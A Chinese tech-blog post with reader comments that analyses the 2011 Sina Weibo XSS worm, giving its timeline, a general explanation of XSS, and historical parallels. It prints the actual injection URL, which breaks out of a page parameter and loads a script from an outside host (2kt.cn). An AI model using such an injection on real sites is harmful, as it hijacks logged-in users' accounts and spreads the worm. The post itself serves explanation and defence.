新浪微博的XSS攻击
今天晚上(2011年6月28日),新浪微博出现了一次比较大的XSS攻击事件。大量用户自动发送诸如:“郭美美事件的一些未注意到的细节”,“建党大业中穿帮的地方”,“让女人心动的100句诗歌”,“3D肉团团高清普通话版种子”,“这是传说中的神仙眷侣啊”,“惊爆!范冰冰艳照真流出了”等等微博和私信,并自动关注一位名为hellosamy的用户。
事件的经过线索如下:
- 20:14,开始有大量带V的认证用户中招转发蠕虫
- 20:30,2kt.cn中的病毒页面无法访问
- 20:32,新浪微博中hellosamy用户无法访问
- 21:02,新浪漏洞修补完毕
在这里,想和大家介绍一下XSS攻击,XSS攻击又叫跨站脚本式攻击,你Google一下可以搜到很多很多的文章。我在这里就简单地说一下。
首先,我们都知道网上很多网站都可以“记住你的用户名和密码”或是“自动登录”,其实是在你的本地设置了一个cookie,这种方式可以让你免去每次都输入用户名和口令的痛苦,但是也带来很大的问题。试想,如果某用户在“自动登录”的状态下,如果你运行了一个程序,这个程序访问“自动登录”这个网站上一些链接、提交一些表单,那么,也就意味着这些程序不需要输入用户名和口令的手动交互就可以和服务器上的程序通话。这就是XSS攻击的最基本思路。
再说一点,不一定是“记住你的用户名和密码”或是“自动登录”的方法,因为HTTP是无状态的协议,所以,几乎所有的网站都会在你的浏览器上设置cookie来记录状态,以便在其多个网页切换中检查你的登录状态。而现在的浏览器的运行方式是多页面或多窗口运行,也就是说,你在同一个父进程下开的多个页面或窗口里都可以无偿和共享使用你登录状态的。
当然,你不必过于担心访问别的网站,在别的网站里的js代码会自动访问你的微博或是网银。因为浏览器的安全性让js只能访问自己所在网站的资源(你可以引入其它网站的js)。当然,这是浏览器对js做的检查,所以,浏览器并不一定会做这个检查,这就是为什么IE6是史上最不安全的浏览器,没有之一。只要你没有在用IE6,应该没有这些问题。
XSS攻击有两种方法,
- 一种就像SQL Injection或CMD Injection攻击一样,我把一段脚本注入到服务器上,用户访问方法服务器的某个URL,这个URL就会把远端的js注入进来,这个js有可能自动进行很多操作。比如这次事件中的帮你发微博,帮你发站内消息等。注入有很多方法,比如:提交表单,更改URL参数,上传图片,设置签名,等等。
- 另一类则是来来自外部的攻击,主要指的自己构造XSS 跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个跨站网页放在自己的服务器上,然后通过结合其它技术,如 社会工程学等,欺骗目标服务器的管理员打开。这一类攻击的威胁相对较低,至少ajax 要发起跨站调用是非常困难的(你可能需要hack浏览器)。
这次新浪微博事件是第一种,其利用了微博广场页面 http://weibo.com/pub/star 的一个URL注入了js脚本,其通过http://163.fm/PxZHoxn短链接服务,将链接指向:
http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update
注意,上面URL链接中的其实就是<script src=//www.2kt.cn/images/t.js></script>。
攻击者并不一定是2kt.cn的人,因为.cn被国家严格管制(大家不知道coolshell.cn 的备案备了不知有多少次),所以,我个人觉得这个人不会愚蠢到用自己域名来做攻击服务器。
其它
- 初步发现 Chrome 和 Safari 都没中招。IE、Firefox未能幸免。
- 史上最著名的XSS攻击是Yahoo Mail 的Yamanner 蠕虫是一个著名的XSS 攻击实例。早期Yahoo Mail 系统可以执行到信件内的javascript 代码。并且Yahoo Mail 系统使用了Ajax技术,这样病毒javascript 可以的向Yahoo Mail 系统发起ajax 请求,从而得到用户的地址簿,并发送攻击代码给他人。
- 为什么那个用户叫hellosamy,因为samy是第一个XSS攻击性的蠕虫病毒,在MySpace上传播。
- 关于攻击的代码在这里:06.28_sina_XSS.txt (编码风格还是很不错的)
(全文完)
(转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)
《新浪微博的XSS攻击》的相关评论
哈。占个沙发。果然在酷壳上找到分析文章。
首发~~
来看看最后给的代码
“当然,你不必过于担心访问别的网站,在别的网站里的js代码会访问你的微博或是网银的登录页面。” 打错了?
Chrome 未中招是因为每打开一个网站就会新建一个进程吗?我打开任务管理器发现很多Chrome 的进程。
确实,编码风格不错
编码风格问题
1 tab和空格一起用作缩进
2 =前后是否有空格不一致
3 有些结束行有多个;
4 字符串用单引号还是双引号随意了
牛!看得真细,呵呵。一看就是老做code review的。
说到备案 真是恶心到了 极点…”大家不知道coolshell.cn 的备案备了不知有多少次”
用java的同学可以试试我加强的这个hetaoblogxsshtmlfilter,
具体在这里
http://www.hetaoblog.com/%E6%88%91%E7%9A%84%E7%AC%AC%E4%B8%80%E6%AC%A1%E5%BC%80%E6%BA%90-hetaoblogxsshtmlfilter-%E6%94%B9%E8%BF%9B%E4%BA%86%E4%B8%80%E4%B8%AAjava%E7%89%88%E5%BC%80%E6%BA%90%E7%9A%84xss-html-filter/
还是没看太明白,这script是注入了,但是注入的这段代码是在那个页面执行的,用户怎么中招的
相当于,新浪的服务器引入了一个有恶意的JS程序,这个JS程序操作了新浪站点上的微博,而因为访问这个脚本的用户的新浪微博是在登录状态,所以,就相当于用户自己发了微博并关注了别人。
避免此类链接,其实只需要浏览器一个很简单,但让广大广告商头疼的功能:
只允许本域内调用 Js
如 .sina.com.cn 的网站,只能调用 .sina.com.cn 的 js ,不允许调用 ad.google.com 之类外站点的 js
这个功能很简单,但据说这个功能很多公司反对,所以没做
学习
那是说恶意用户篡改了新浪微博网站上的某个链接吗, 服务器被入侵了 ?@陈皓
看来自动保存密码功能要慎用啊
@陈皓
这个恶意js如何搞上去的有消息么?
@核桃博客
这个js并没有放在新浪的服务器上,而是利用新浪名人堂的XSS漏洞
正常情况下,点击那个私信中的URL后,应该返回404.而新浪没有。。。结果就是执行了位于2kt.cn上的js脚本
结果就悲剧了
@陈皓
用标准化工具JsLint跑之后会有更多编码不规范的提示,现在一般都是靠工具查的,一般很多开源js库在上传到github之前都会用工具检测下。
JsLint:http://www.jslint.com/
原来这文章是你写的啊,我是先在oschina上看到的,看到提到coolshell.cn还以为咱这知名度这么高,高兴中,搞了半天…
学习下 虽然没看懂多少。。。
确实很牛,佩服。@61
@Super Cuke
应该不是,我记得以前chrome的about:flags里有一个防范xss攻击的实验项目(webkit内核提供的功能,所以safari也没中),现在没了,因该是毕业了
文章写得真棒,收藏了!
没关注过这方面
看了您的文章,大概理解其中的意思,但是有几个问题:
1. 攻击人如何把作为攻击使用的js代码放到一个不是自己域名的服务器上的,即www.2kt.cn/images/t.js这个文件
2. 攻击人如何引发”06.28_sina_XSS.txt”这段js脚本的执行
3. 有什么方式可以防止这种攻击,您估计新浪大概采用的方案是什么呢?
问题可能比较幼稚,望指教,谢谢!
@dvaknheo
那有些调用第三方js的网站就杯具了。。
比如很多网站的查看地图用的是baidu,mapabc等
我刚刚开始学习js。。。